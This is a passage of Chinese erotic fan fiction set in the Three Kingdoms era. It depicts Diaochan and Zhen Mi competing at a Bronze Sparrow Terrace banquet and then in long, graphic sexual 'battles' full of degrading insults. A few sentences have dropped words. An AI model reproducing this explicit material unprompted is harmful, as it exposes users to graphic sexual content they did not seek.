聲音,便下不了殺手,後來眾人無奈,只好請來女媧娘娘,女媧娘娘將妲己帶回天宮,與妲己性戰了3天3夜,才擊敗妲己,要知道,天上一天,地上一年啊,這時男人們再看妲己,也就沒什麼了,妲己也被處死。自此之後,女人中流傳著這樣一種說法:性鬥戰敗的女人,就算她美麗如天女下凡,在男人眼裡永遠不如性鬥戰勝的醜女人漂亮,你可要記住了。」美芳聽了一陣後怕,不住點頭。貂禪看她明白了,又說:「今天晚上就再教教你,你可不能輸,這可是影響一輩子的大事。」
第四章銅雀鬥豔
曹丕回到俯中立刻推脫有緊急公務要處理,終於甩開甄宓獨自來到書房,腦子裡還在不住閃現貂禪戲花時的場景,對於他來說,今晚注定是不眠之夜。
回到閨房,蓮月便開始滔滔不絕地跟甄宓談著她與美芳性戰的另一個版本:
「……,我也不清楚她要把我帶到哪去,只想著讓她知道我的厲害,就跟著她來到了不知道是誰的屋子,一路上我仔細觀察,這婊子腰很細,奶子不小,一看就知道胸部是她的弱點!所以我趁她關門的時候撲上去摟住她的腰,把她頂在門那揉她的奶子,果然沒兩下那婊子奶頭就豎起來了。」說到這裡蓮月得意地笑了笑,接著講述:「本來挺順利的,沒想到這婊子竟然伸手插我的陰道,姐姐你也知道,我那裡天不怕地不怕,就怕象男人肉棍的東西,她的手指在我陰道里不住攪動,又抽又插的,慢慢弄得我沒了力氣,也不知道她這時哪來的力氣,居然掙脫之後反將我壓在裡面的床上,騎在上面撕我的衣服,我也撕她的,把她扒了個精光,其實我最大的失算就是小看了她的奶子,那不僅是她最大的弱點,也是她最有力的武器,她把我按在下面,不停地用她的奶子撞我的奶子,她的乳頭不是一般的硬,要不是我嘗過姐姐你的奶頭,估計沒準還真被她給頂趴下了。我被她頂得有點昏,拼盡力氣把她推翻,固定住她的脖子就親,嘿嘿,這婊子好像沒怎麼被人吻過,一下子就亂了,任由我肆意玩弄,再後來那婊子春意大發,不住地在我腿上磨來磨去,弄得我腿上全是骯髒的淫水,看者她那淫蕩相,不知怎麼我也失控了,不過最後要不是有人搗亂,我一定能幹死那婊子,對吧,姐姐,姐姐?」蓮月說了半天,發現甄宓竟然走神了,根本沒聽見她說了些什麼……五日之後,曹操果然在銅雀台大宴群臣,慶祝勝利,對外宣稱是群臣,其實到場的不過全是曹氏、夏侯氏一族,說白了就到場的都是曹操的家臣,因此甄宓這樣的女子也得以參加。貂禪來到銅雀台時,已經是人聲鼎沸,但她卻在人群之中一眼就發現了只有一面之緣的曹植,曹植今天穿了一件白衣,手中的寶劍換成了摺扇,完全換成了書生模樣,但依然英氣逼人,處在人群之中格外顯眼,貂禪剛想上去搭話,卻發現曹植正癡癡地望著什麼人,貂禪順勢看去,正好迎上甄宓那雙略帶怨恨的美瞳,貂禪不明白甄宓為什麼這樣看著自己,但看著曹植默默地注視著甄宓的樣子,就已經猜了個八九不離十,心裡突然感到一種從未有過的失落感,同時還夾雜著一種被挫敗的感覺,這種挫敗感使她的心情煩亂起來,因此在與甄宓對視了幾秒後,匆匆離開準備獻舞的事情去了。其實貂禪不知道,自己背後也有一雙眼睛——那是曹丕的,曹丕帶著甄宓來到銅雀台之後便一直魂不守舍的樣子,不住地四處張望,當看到貂禪時連招呼都不打便甩開了甄宓的手,也顧不得風範,連推帶擠地向貂禪這邊跑來,大約還有十步左右時,他發現貂禪在觀察一個人,一個男人,而且正是自己處處都比不過弟弟曹植,他發現貂禪略帶憂鬱地望了曹植一眼,便匆匆消失在人群中,曹丕憤怒了,對於一個有身份有地位有能力有前途的男人無疑是個不小的打擊。這得以解釋了後世的諸多疑問:為什麼生性放蕩,好遊玩,喜歡無拘無束的曹植卻執意要與曹丕爭奪繼承權?因為甄宓。為什麼曹丕登上了帝位依然不肯放過親兄弟曹植?因為貂禪。也正因為自己喜歡的男人反而看上了對方,貂禪與甄宓之間的戰爭是不可避免的。
戌時(黃昏,此時太陽已經落山,天將黑未黑,天地昏黃,萬物朦朧),銅雀台之宴正式拉開序幕,首先是嘉獎環節,曹操意氣風發,舉杯豪飲,與群臣歡慶勝利,酒過三旬,在場所有人都有了醉意,此時,歌舞聲響起,十個舞女簇擁著貂禪閃亮登場,原本喧鬧的會場登時鴉雀無聲,幾乎在場的所有人都被眼前的絕世美人迷住了,隨著曲子,貂禪柔媚的舞動著身子,衣裙隨著動作裊裊飄搖,時而優柔的旋轉舞動長袖,時而又翩然的搖擺腰肢,這傾城傾國的絕色佳人似乎要用自己的歌舞去媚惑眾生。但這歌舞,貂禪只希望獻給曹植一個人,實際上在她眼裡銅雀台上也似乎只有她和曹植兩個人,她要用自己的舞姿征服的、媚惑的也只有曹植一個而已。因此她更加買力地舞動著自己的肢體,眼神更加嬌媚柔弱,使舞蹈宛然天成,那些依附在裙襬處的波絲小鈴鐺會隨著舞動發出悅耳的聲響,那聲音彷彿越女在舟上打漿的而在水面上弄出的波紋,一下一下四散開來,那清脆的聲音,帶來是震撼,而震撼的不僅僅是心靈。月光下,貂禪用她的長眉,妙目,手指,腰肢,用她髻上的花朵,腰間的褶裙,用她細碎的舞步,繁響的鈴聲,輕云般慢移,旋風般疾轉,帶來了美的盛宴,云袖輕擺招蝶舞,纖腰慢擰飄絲絛,何等舞蹈的功底,何等的月下美人!但貂禪失望了,這一切似乎並未打動曹植,他是在場唯一沒有陷入這美麗舞蹈的人,從表面上看他從始至終都保持著內心的平靜,只是用鑑賞的眼光觀賞完了貂禪的舞蹈,一曲終了,他第一個帶頭鼓起掌來,貂禪感到了前所未有的無力,還有什麼能打動這個男人呢?答案很快便揭曉了。
當貂禪出場的時候,曹丕的三魂和七魄就已經被吸走了一魂一魄,舞畢,他頂多也就剩下一魂一魄了,完全一副癡呆相,估計今天晚上在他夢裡,除了「美女戲花圖」之外,又會多了一幅「月下美人圖」了。曹丕的一切表現甄宓全都看在眼力,她終於忍不住了,再這樣下去自己的夫君一定會被貂禪勾了去,而且她發現貂禪有意無意地看著她,露出挑釁般地笑容,她必須有所行動。於是她鼓起勇氣,站出來對曹操進言道:「父親大人此次大勝而歸,妾身也願獻上歌舞,以祝雅興,懇請父親大人恩準。」古代成家的女子根本不能拋頭露面,更何況是曹丕這種地位人物的妻子,如果不是今天請來的都是曹氏一族,甄宓根本不可能出現在這裡,更別說還要在眾目睽睽之下獻舞,這對曹丕來說無疑是一件很丟面子的事,曹丕剛要出言阻止,卻聽已經醉醺醺的曹操說道:「既然你有這份孝心,準了。」氣得曹丕差點沒背過氣去,心裡大罵曹操糊塗,但也畏懼自己父親的權威,不敢出聲,因為他知道曹操酒品很差,喝多了時候最好別惹他,只好眼睜睜地看著甄宓下去準備了。沒一會兒,琵琶聲悠揚的響起,清脆的琵琶聲聲音歡快而靈動,甄宓登場,相對於貂禪的十人相伴,甄宓孤身一人獨自舞來,膽氣勢絲毫不弱於貂禪,伴隨著的琵琶彈奏的曲調,甄宓婆娑起舞,那是另一種舞蹈,沒
有媚惑眾生的搖擺腰肢,沒有嬌媚柔弱的動人眼神,有的是變幻莫測的舞姿,翩若驚鴻,婉若遊龍,婀娜多姿身段柔美的舞出各種姿態,出塵脫逸,翩然的甩起如行云流水般纖長的舞袖,恰似輕云閉月,彷彿流風回雪,似乎那舞,舞在肉身,舞在心神,那是純潔而高貴的舞蹈,在舞中,你可以聯想到春天的萬物復甦,可以聯想到百花齊放,可以聯想到奔流的河水,可以聯想到巍巍的群山,包容萬物,森羅萬象,加上甄宓高貴的氣質,嬌好的身材,令人大飽眼福!毫無疑問,甄宓的舞蹈也迷到了一片人,其中包括剛才雷打不動的曹植,如果不是大多數人都沈浸在甄宓帶來的美妙舞蹈中,相信很多人都會發現此時的曹植完全沒有了剛才的曹丕則表現得莫不關心,並不是甄宓的美貌和舞姿不如貂禪,而是曹丕的還在生氣,怪甄宓不守婦道,給他丟人現眼了,因此根本就沒看,仔細觀察貂禪去了。
兩個男人的表現使貂禪和甄宓相互之間的仇恨和嫉妒徹底爆發了,兩人爭相獻舞,貂禪跳的一個比一個嫵媚動人,甄宓跳的一個比一個高貴典雅,她們不知疲倦似的在銅雀台上展現自己的美麗,只想著將對方比下去贏得那個男人的心。
當她們發現舞蹈並不能吸引自己喜歡的男人時,她們將所有的過錯都歸結到對方身上,恨和嫉更濃了。
清晨,折騰了一晚上的群臣們是大飽眼福,隨著曹操昏睡在王座上,眾人也昏昏沈沈地各自散去,甄宓此時來到貂禪面前,略帶譏諷地說道:「靜溢夫人昨晚的舞跳的還真是風騷啊,不知道明天能不能教教我呢。」貂禪針鋒相對:「沒
想到世子妃居然對這個感興趣,咱們是彼此彼此嘛,那明天就在靜溢園恭候世子妃大駕了,我會『好好』教的,昨晚跳了那麼多,世子妃可要好好休息,到時別讓我失望了。」一句話說得甄宓臉色發青,恨恨地說道:「好!咱們走著瞧!」說完冷哼一聲,上了車遠去。
第五章首次交鋒
翌日卯時,甄宓送走了曹丕,便開始準備自己的第二次靜溢園之行。雖然對自己很有信心,但自從第一次相見,甄宓就知道貂禪不是一般的女子,絕對不好對付,因此將自己的所有優勢都展現出來才是明智的選擇,化裝,試衣,一遍又一遍,每一個細節都不放過。蓮月從沒見過甄宓如此緊張,一邊梳理甄宓如絲的秀髮一邊不解地問:「不就是一個賤女人嗎,姐姐何必如此緊張,我料定那貂禪肯定不是姐姐的對手。」甄宓微微皺了下眉頭,卻沒有停下來的意思,回道:
「你也不想想那董卓和呂布哪個是身邊缺女人的主兒,還照樣不是被貂禪迷得團團轉,最後身首異處,可見貂禪必有過人之處,還是小心為妙。」蓮月聽罷,吐了吐舌頭,不在說話,專心為甄宓梳理打扮。
約過了辰時(古人「朝食」之時,也就是吃早飯時間),甄宓上了鸞駕,緩緩向靜溢園駛去,一路上甄宓面無表情,目光深邃,連蓮月都猜不出她在想些什麼,也不敢出聲,一路無話,轉眼便到了靜溢園門前。此時靜溢園門前人流熙熙攘攘,在許都居住的人們也早已見慣了達官貴人之間相互拜訪,因此也沒有人大驚小怪,都只是匆匆望了一眼便敬而遠之。甄宓下了鳳鸞就見到美芳微笑著立於門前,卻不見貂禪,心中疑惑:莫非她怕了不成?美芳見了甄宓,不慌不忙地上前見禮,說道:「我家夫人恭候世子妃多時了,特令奴婢在此恭候,請世子妃隨我來。」蓮月大怒,罵道:「靜溢夫人好大的膽子!世子妃駕到竟然如此怠慢,竟然讓你個賤……」話還沒說完便被甄宓欄住,甄宓面色平靜,看不出喜怒,只聽她悅耳的聲音響起:「不得無理!那麼就請你前面帶路吧。」美芳嘲弄似的看了蓮月一眼,譏諷道:「真是沒規矩,主子還沒發話,當下人的卻像狗一樣亂嘯。」說完轉身便走,「你……!」如果不是在眾目睽睽之下蓮月早就沖上去了,現在只好忍氣吞聲,跟在甄宓後面進了靜溢園。其實甄宓並非毫無怒氣,只是想知道貂禪到底耍什麼把戲,所以忍了下來,同時也對今天的自己有著十足的自信,什麼場面都經歷過的她料定貂禪也玩不出什麼新花樣。進了靜溢園,美芳輕車熟路地帶著兩人東拐西轉,不一會就來到一個院子前,美芳吩咐下人沒有傳喚不得靠近後,便引著甄宓二人進了院子。院子不大,只有一個涼亭和一間不大的房子,房子裡隱隱有水聲傳來,只見美芳走到房門前,輕聲扣響房門,說道:「夫人,世子妃駕到。」裡面傳來貂禪的鶯聲燕語:「還不快請世子妃進來。」美芳應諾,打開房門請甄宓進去,甄宓雖然疑惑貂禪到底耍什麼花樣卻凜然不畏懼,快步走了進去。身後,美芳攔下蓮月在其耳邊輕語:「你跟我不便進去打擾,再說咱們還有筆帳沒算完呢!」說著關上房門,拉著蓮月出了院子。
甄宓進了小屋,發現一個絲製屏風擋在面前,屏風上懸掛著上好布料的衣物,屏風後水聲越發明顯,顯然貂禪正在沐浴,只聽貂禪之聲從屏風後傳來:「世子妃來得好慢啊,小女子恭候多時了,可惜不方便外出迎接,請勿見怪,既然到了,何不進來一起洗浴。」甄宓在屏風後氣得是咬牙切齒,萬萬沒想到貂禪居然選擇直接與自己赤裸相對,早上精心打扮原以為能確立點優勢,現在居然全部化為泡影,讓她怎能甘心?正在猶豫,耳邊又傳來貂禪的聲音:「世子妃為何還不進來,還怕我吃了你不成?」說完又輕蔑地笑了兩聲,甄宓此時怒火中燒,一咬牙一跺腳,將身上的衣物盡數脫下,緩步饒過屏風,此時,她終於又見到了貂禪。只見屋內一約三平方米左右的浴池,熱氣騰騰,浴池裡飄滿牡丹花瓣,貂禪此時正坐在浴池的岸邊,雙腳泡在水裡,屋內水氣繚繞,兩人都只能觀察到對方的上半身,但這完全能震撼我們的視覺神經:兩人的皮膚都特別的白嫩,離近了仔細看,皮下的毛細血管都依稀可見,就想剛生來的嬰兒一般,胸前的乳房雪白豐滿,高聳挺拔,豐碩肥嫩,一看便知彈性十足,不同的是貂禪的乳頭呈粉紅色,而甄宓的則顏色略深呈紅褐色。兩人都驚異於對方的身體居然跟自己的如此相像,「果然不一般,看來今天難以善終。」兩人同時冒出這樣的想法。相互之間對視了幾秒,貂禪率先進入澡池,坐在了一邊,背靠牆壁,水不深,坐下後剛好沒胸,用眼神朝甄宓挑釁著,甄宓自然不會退縮,幽雅地下水坐在了貂禪的對面。由於水池不大,兩人的腳對頂在一起,本來是可以相互交錯開,但由於她們之間的是是非非,自然不會讓步,水面上,兩人開始了唇槍舌戰,水面下,另一種較量也悄然展開。
「靜溢夫人真有雅興,想當年那董卓呂布肯定也是這麼被夫人鉤上床的吧?」說著甄宓兩腿發力,慢慢地伸直自己修長的美腿,拉開了這場較量的序幕,貂禪明顯感覺到了來自水下面的壓力,不甘示弱地兩腿加力,表面上卻看不出絲毫變化,只聽她反唇相譏:「世子妃想像力還真是豐富啊,莫非你嫉妒了?」甄宓見這招似乎只有僵持下去才會有結果,腿上力道不減,慢慢尋思其他辦法,嘴上卻不讓步:「笑話!本宮怎麼會嫉妒有剋夫之命的女人,想想還真是可憐,那董卓呂布一世梟雄,卻被一個騷貨克……啊!」這話徹底激怒了貂禪,她突然用自己的腳趾猛地夾住甄宓的,使勁一夾,使得甄宓疼痛難忍,叫了出來,因此後面的沒說出來,看著甄宓那痛苦的表情,貂禪充滿了復仇的快感,但還不滿足,嘴上也不饒人:「論到騷貨那小女子可萬萬不如世子妃,想那袁熙兵敗之時,世子妃已經上了世子的床;如今自己的原夫屍骨未寒,世子妃卻在仇人的宴會上獻舞,還真是……啊!」緊接著「撲通」入水之聲,水花飛濺,貂禪掙紮著從水中爬起來,對著得意地甄宓罵道:「賤貨,你敢使詐!」說著就撲了過去。原來,兩人為了將對方頂回去都用手推著後面的牆壁,借此來增加力道,剛才甄宓突然撤力,而貂禪沒有準備,還在使勁推著身後的牆,再加上浴池內光滑如鏡,沒有了著力點的貂禪沒有穩住身體,狼狽地滑入水中,喝了幾口水,因而大怒。見貂禪撲了上來,甄宓毫不猶豫地迎了上來,「啊?!」,兩個絕世美女的身體第一次碰撞在一起,身上還粘帶著牡丹花瓣,一股清香撲鼻而來,更加促進了情慾的上漲,貂禪左手摟住甄宓的細腰,挺起酥胸頂住對手的胸部,右手則輕輕揉搓對手的臀部及美腿,請吻著甄宓的頸部,其高超的技巧險些讓甄宓淪陷下去,但甄宓畢竟是不是一般女子,只見她左手摟住貂禪的勃頸,使其不能隨意轉動,另一隻手抓住貂禪的左邊的乳房或輕輕揉搓或捏住奶頭拉扯,此時屋內只剩下兩人身上滴落的水聲和逐漸加重的呼吸聲。「果然……果然是個……騷貨!看……你乳頭都硬起來來了。」甄宓的香舌輕輕劃過貂禪的耳垂,雖然挑逗著對手,可自己也好不到哪去。貂禪慢慢從勃頸吻上甄宓那美麗的臉龐,吐著香氣回敬道:「彼此……
彼此嘛,看你面色都快……快洩了吧?「
「我幹死你個賤人!看咱們誰先高潮,啊……!」「來呀,我……我好害怕呦?!看你怎麼幹……」「我」字還沒說出來,嘴便被甄宓用自己的堵上了,兩人不分彼此似的摟在一起,嘴對嘴地吸吮,兩片香舌在口腔中不斷地糾纏、交錯,上面交鋒,下面也沒閒著,兩手撫摩著對方光滑的脊背,揉捏著對方性感的香臀,乳房在與對方對頂中早已擠變形,已經發硬的乳頭深深地刺進了對方的乳房裡。兩人不斷地扭動著性感的腰肢,調整著身體較量的位置,屋內的春色越來越濃了,戰鬥在繼續……第六章酣戰
兩人就這樣糾纏很久,誰也沒佔到便宜,反而感覺自己的體溫在不住的上升,喉嚨裡乾渴難耐,陰部癢得厲害,都已經達到了爆發的臨界點。終於,在甄宓的手指劃過貂禪的胸部的時候,貂禪抑制不住與對手進行更深入較量的念頭,猛地分開與甄宓交錯的香舌,喘息著說道:「總……總這樣沒意思,咱們……來點更刺激的,你敢嗎?」甄宓原本都已經有些情慾迷亂,與貂禪嘴唇分開的一瞬還有些不捨似的,下意識地向前傾去,想去追吻那誘人的唇與舌,猛的聽見貂禪的話語,不由得顫抖了一下,清醒了不少,回道:「有何不敢!難道還……還怕你不成。」由於兩人身體並未分開,甄宓那一下顫抖傳帶給了貂禪,惹得貂禪險些把持不住,數息之後才強壓下去,深呼吸過後才朝著邊上一努嘴:「咱們去床上干個痛快!」甄宓這時才發現在房間的角落裡竟然還有一張大床,足以容納三、四個人同睡,白淨的床單下似乎墊了不少棉被,彈性十足,她盯住貂禪的眼睛,發現對方似乎沒有分開的打算,只好相擁著出了澡池,向床邊移動。
兩人像走探戈一樣擁抱著,緩緩地移動,身體各處相互摩擦、碰撞,眼睛一動不動地盯著對方,觀察著對方表情變化。身上的水珠順著雪白的大腿流向地面,一滴,兩滴,三滴,本應越來越少的水滴似乎沒有減少的趨勢,如果仔細觀察你還會發現,流到地上的水珠似乎有些黏度……
終於,兩人移身到了床邊,貂禪突然發力將甄宓推倒在床上,然後撲上去用身體壓住對方,自己的雙手手按住甄宓的手,甄宓由於體位上的劣勢,掙紮了幾下沒有起色,只好譏諷道:「這就是你說的更刺激的?我看和剛才沒什麼兩樣。」貂禪沒有回答,盯住甄宓的眼睛,彷彿要看穿她一般,但甄宓似乎沒有退卻的意思,毫不在意貂禪的目光,與其對視,還不時地扭動幾下身體,似乎在催促貂禪快點開始似的。貂禪明白這種心理戰術沒有效果,放開甄宓,自己坐在了靠近床頭的位置,甄宓也坐了起來,與貂禪相對。貂禪緩緩地打開自己的雙腿,一個近乎於完美的陰戶展現在甄宓的面前:只見貂禪美腿根部的Y形肉腺拱托出一個白嫩圓鼓的陰戶,好像是一個小的陰戶被放大了一樣,小腹下面的陰阜部分高高的鼓起,上面包著厚厚的嫩肉,上三分之二是陰阜部分,白白嫩嫩的,有一種顫嘟嘟的感覺;從下三分之一部分開始,一條肉縫把陰戶分為兩半,形成兩片肥美豐膩的大陰唇,肉縫合的很嚴實,與兩側的大陰唇一起形成一條漂亮的圓弧,伸進緊緊夾在一起的雪白大腿的深處;從側面看,是一個與身體平行的角度,從小腹下面開始,一個高高隆起的肉包很誇張的浮現出來,在小腹下到大腿根部形成一個饅頭一樣凸起的弧形,然後消失在大腿中間,分開大腿從下向上的看十分養眼,一條嫩紅色的肉縫把內部裝點的格外美妙神秘,兩塊肥美得近乎透明的大陰唇緊緊的擠在鮮豔欲滴的肉縫的兩側,光潔飽滿,肥膩豐美,大陰唇的肉色和大腿的肉色是一樣的,沒有一點色素的沈澱,也是那樣的雪白細膩,肉光四溢,看了令人血脈噴張,欲涎欲滴……竟然是天下少有的白虎屄!見貂禪「獻寶」,甄宓也毫不示弱地分開雙腿,將自己的陰戶展示在對手面前:只見其陰戶位在兩股中央,左右橫跨在根部,彷彿鳥兒的雙翼,陰唇狹窄、膣細長,小腹下面的陰阜部分同樣高高的鼓起,下面的陰戶呈雪白透亮,由於剛才的刺激,陰唇充血腫脹,漏出內部粉紅色的嫩肉,其形狀就如兩條巨龍在搶奪紅光閃閃的珊瑚,一看便知插進去的感覺一定爽歪歪——居然同樣是天下少有的龍珠屄!兩人注視著對方的淫穴,似乎有些緊張,又有些期待,還隱藏了一點興奮,不肖多說,只有用實力證明!
觀察過對手的淫穴後,兩人對視了一下,同時擡起香臀向前頂去,只聽「啪」地一聲,兩個極品淫穴緊緊地貼在了一起,從中還蹦出零星的幾滴淫液,「啊……!」兩女不約而同地叫了出來,之後便開始扭動腰肢展開了對攻。原本兩人都只是打算試探對方的虛實,誰知世事難料,兩女都忽略了自己的身體因素:
貂禪自從呂布死後完全沒被男人碰過,更別說上床;甄宓雖然是新婚不久,但正趕上曹丕隨父南征北戰,也沒怎麼碰過她,來到許都又蹦出個貂禪,由此可知她們私處的敏感程度,這次的較量使得兩人身體上的空虛和寂寞完全地釋放了出來,以至於本應該相互試探的開端演變成決戰般的氣勢,一發而不可收拾,在陰戶的相互夾磨撕咬、相互碰撞所帶來的快感中完全淪陷了,久違的性愛所帶來的快感已經完全衝破了理智的防線,兩人腦海一片空白,只能尋求原始本能的幫助,完全放棄了身體的控制權,沈浸在性愛所帶來的美妙中。兩人糾纏在一起,在床上覆雨翻云,一會貂禪在上,一會甄宓在上,床單被兩女流出的淫水浸濕了一大片,在翻滾中沾到她們的身體各處,房間裡迴蕩著兩人淫糜的叫聲,不知過了多久,在一陣高亢的淫叫聲過後,房內暫時安靜了……第七章酣戰(2)
且說兩人的第一次相鬥竟然變成了做愛,這是誰也沒料到的,而結果自然是平分秋色——同時高潮了。兩位美人全都仰面朝天躺在床上,下體還粘在一起,胸口不住地起伏,感覺似乎又能掌控自己的身體了,如此刺激的做愛對於兩人來說雖然不是第一次,但也是很久沒有享受到了,想要平息身體那股莫名的衝動需要時間,並非一次就耗盡了體力,貂禪和甄宓可不是這樣一次洩身就可以滿足的女人,貂禪可是三國第一猛男的老婆(我個人比較傾向於三國第一猛男是趙云的說法,當然,呂布戰場上猛不代表他床上也猛,暫且就當他戰場和床上都猛吧,哈哈),甄宓的男人個個是官宦子弟,這類人別的可能沒本事,玩女人可都是一個賽倆,沒點本事可是栓不住他們的,而且兩人都是經過嚴格訓練,貂禪是王允為了「連環計」精心打造的絕世美女,甄宓是甄家為了在河北的利益而訓練出來的,床上工夫絕對是兩人曾經的主課。
好像又扯遠了,經過一段時間的喘息,高潮過後的餘溫慢慢消散,兩人股間交叉著坐了起來,用手支撐著身體,觀察著對手,貂禪盯著甄宓,眼中流露出恨意,甄宓亦是,而且恨意似乎比貂禪的更強烈,無需多說,兩人都明白這場戰鬥還遠沒有結束,接下來才是真正的較量,剛才只不過是個意外而已,話雖如此,但細細回想剛才的做愛,兩人現在都失去了必勝的信心,雖然如此,現在她們根本無路可退,只有硬著頭皮上了。兩人很有默契似的同時動了起來,首先是下體,兩個極品淫穴慢慢地開始了對夾對磨,相互撕咬,互不相讓。下面開始了,上面也不可能閒著,貂禪率先挪開支撐身體的手臂,起身壓了過去,同時左臂纏住甄宓的脖子,左手從後面抓住甄宓的繡發,雙唇貼上了對手的雙唇,伸出香舌在對手口腔內不住絞動,右手順勢抓住甄宓的左乳,不住地揉搓,甄宓一方面支撐不住兩個身體,一方面也考慮到繼續支撐身體比較被動,只能任人宰割,因此撤出雙手進行反擊,兩人倒在床上,貂禪在上,體位上佔據主動,她用自己的雙手按住甄宓的,用身體壓住對手,前後挺動,兩人的美乳在在中間激烈交鋒,硬起來的乳頭像鋒利的矛頭,刺進對方那豐滿而又有彈性的乳房。
起初,甄宓在下位不住的掙扎,無奈開局就已經失去了主動,又被貂禪按住雙手,激烈的對抗中身體的一起一伏中,給予處在下位的人的快感無疑更大,耗費的體力也更多,不一會兒,甄宓的掙扎就弱了不少,之後也在不斷地減弱,似乎已經認可了這樣一個較量的體位。貂禪心中暗笑,但依然提防著鬆開了甄宓的雙手,見甄宓沒有進一步的反抗跡象,才放心心地抱起甄宓的一條大腿,半坐半跪地壓住了甄宓的另一條腿,將自己的淫穴貼上了對手的,感受著對手淫穴傳來的熱度,貂禪心裡一陣莫名的悸動,緩慢地開始撕磨。
「嗯……恩?!」兩人強忍著快感地襲來,輕聲發洩著,但表情上卻不敢漏出絲毫破綻,兩個極品淫穴在下面夾磨撕咬,互不相讓,但這時體位上的優勢便一覽無餘:處在上位的貂禪可以靈活地挪動臀部以避開自己的敏感地帶,以避免「傷敵一千,自損八百」的情況,而甄宓則只能被動的防禦,可體位上的劣勢使她無法靈活的移動身體,避開自己的敏感點。表面上看,甄宓似乎只有招架之功,而無還手之勢,兩手都捂在胸前,攥緊了拳頭,因此貂禪逐漸加快著撕磨的速度,想就此擴大自己的優勢從而獲得最終的勝利,「啊……!」甄宓突然淫叫了一聲,似乎即將迎來高潮似的,貂禪心中一喜,再次加速自己的「攻勢」,挺起自己的淫穴改磨為撞,下體出發出「嘖嘖」的聲音,淫水潺潺而流,不時飛出幾個零星的淫水滴濺落出來,此時貂禪已經不管是傷敵還是傷己,不住地挺動下體,向甄宓的淫穴撞去,自己也因快感而鬆開一隻抱著甄宓大腿的手,支撐著床面,身體不自覺的向後微仰。甄宓等的就是這個機會,趁著貂禪重心後移的時候,腰腹用力坐了起來,雙臂如同繩子一般將貂禪連同手臂在內緊緊摟住,貂禪失去了支撐手臂重心又在向後仰,甄宓順勢將貂禪壓在了身下,完成了體位上的互換。
「真是個……狡猾的婊子!」貂禪罵道,趁此機會稍稍移動了下身體,剛才倒下的時候,甄宓的乳頭正好刺在了自己的乳房上,感覺很不舒服。
「哼!你個騷貨能嘴硬也只能趁現在了,一會兒非讓你求饒不可!」甄宓得意地笑著,開始親吻貂禪的脖頸,並送開摟住貂禪的雙臂,岔開雙腿支撐住身體,防止被貂禪掀翻。只見甄宓一手開始揉搓貂禪豐滿的乳房,一手伸向下體,先粘了點自己的淫液在手掌上,然後將完全潤滑後的手掌置於貂禪的陰唇之上,手指朝臀部,向肚臍方向揉動,有用手指來探索貂禪的內外陰唇,時而挑動左半邊,時而挑動右半邊,「怎麼樣?爽不爽啊?」甄宓像是玩弄著對手一般,問道。此時貂禪緊閉雙唇,喘著粗氣,不時發出「嗯?恩……」的聲音,在下面不安地紐動身體,一邊躲避著甄宓的挑逗,一邊尋找著機會奪回體位上的優勢。但顯然甄宓不會再犯貂禪犯過的錯誤,此時她完全騎在貂禪身上,彎下身來對著貂禪的左邊乳頭又是舔又是咬,同時左手對著貂禪的右胸或揉或搓,右手在貂禪的淫穴處百般挑逗,弄得貂禪氣血翻騰,感覺似乎又要迷失了自我。
貂禪一咬牙,不能任由甄宓在自己的身體上如此肆虐,既然不能奪回體位上的優勢,那就以這種姿勢跟這賤人拚個你死我活,你想用手來玩,我就用手讓你爽個夠!誰輸誰贏還不一定呢!
打定主意,貂禪使出渾身力氣,伸手抓住甄宓的頭髮,向前拉扯,甄宓吃疼,只得放棄對貂禪胸部的攻擊,向前挪動身體,貂禪趁此吻住甄宓,並用左臂摟住甄宓的脖頸,使對手不能逃脫,同時右手也伸向甄宓的淫穴,食指和中指奮力插的雙唇堵住,香舌正與突入的貂禪香舌激烈地交鋒,暢快的嘶吼變成了喉嚨中的悶響,隨即也加快了手上的動作。兩位絕世美女嘴對啃,觸電般的快感流遍全身,相互用手殘害著對方的淫穴,強烈的刺激使得兩人已經完全不在顧及手上的力道,不住地在對方陰道內重複著抽插的動作,發出「啪啪」的聲響,每一次的抽插都帶著無數的淫水飛濺出來,灑落在床單上。隨著兩人動作的不住加快,預示著高潮即將到來,貂禪和甄宓都縮緊自己的陰道,極力想延長著高潮的時限,但這股不可抗拒的洪流必將到來,關鍵時刻,兩人依然沒有停止手中的動作,多給對方一絲刺激可能就決定著最後的勝負。兩人咬緊牙關,用手指猛地向對方的陰道深處插去。
「啊……!」「哦……!」隨著高亢地淫叫,大量的滾燙淫液同時從兩位美女的淫穴中噴射而出,兩位美女的身體在高潮過後顫抖了幾下後,便倒在了床上,並排仰面喘息著。兩人扭過頭來對視,眼中的嫉恨似乎更濃了,貂禪喘息著撐起身體,狠狠地說道:「起……來,咱們繼續幹!」甄宓沒有回答,但從她顫抖著支撐起身體,和怨恨的眼神中可以看出,她對於這樣的結果也是不能接受的……第八章命運
靜溢園內,一場女人間的戰鬥悄然升級,高潮過後,兩人顧不得休息,再次投入到激烈的對抗中,甄宓搶先翻身將貂禪壓在身下,熟練地開始親吻貂禪的脖頸,柔嫩的小手在貂禪如絲般的肌膚上遊走撫摩,雪白的大腿伸進對手的股間摩擦起來,「嗯?…………恩?…………」貂禪嘴裡立即發出了暢快的呻吟聲,之後隨即展開了反擊,只見貂禪一手抓住甄宓那豐碩的乳房,不住地揉搓,一手伸向甄宓下體,「滋」地一聲插入其蜜林深處,施展起手淫之技,「啊?…………啊?…………「雖然極力忍耐,但甄宓還是發出了暢快的呻吟聲,快感一波波的襲來,另其欲罷不能。貂禪雙手齊出,嘴自然也不能閒著,貂禪伸出舌頭時而親舔甄宓的面霞,時而咬舔甄宓的耳垂,弄的甄宓情意迷亂,不得不放棄對貂禪脖頸的進攻,用自己的嘴去堵對手的。兩人濕吻在一起,兩條香舌糾纏在一起,彼此交換著口腔中的唾液。交鋒中,原本高潮過後剛剛熄滅的慾火再次被點燃,清晰的理智也漸漸模糊起來,原始的慾望開始控制兩人的思維,一種野性似乎首先控制了貂禪,只見她突然腰部用力一挺,將原本壓在上面的甄宓頂翻,又以迅雷不及掩耳之勢反向壓了上去,兩人呈69式疊在一起,貂禪拜開甄宓的大腿,呈現在她面前的是原本就濕漉漉的龍珠騷屄,貂禪一時竟然有些按耐不住,想盡快跟眼前這淫屄拚個輸嬴,看看到底是白虎至霸還是龍珠為尊!強壓下這股衝動,貂禪俯下頭來添起了對手已經再次開始充血腫脹的陰戶,不住地用舌尖刺激對手的陰核,甄宓在下,並沒有用自己的舌頭回敬對方,而是伸出手指插入貂禪的陰道,並輕輕地推拉覆在陰蒂上的蓋頭。感受著對方帶來的快感,兩人因舒暢而開始微微地顫抖,隨著時間的推移,兩人的意識已經開始模糊,沈浸在強烈的快感中不能自拔,各自的動作已不受意識的控制,動作開始變形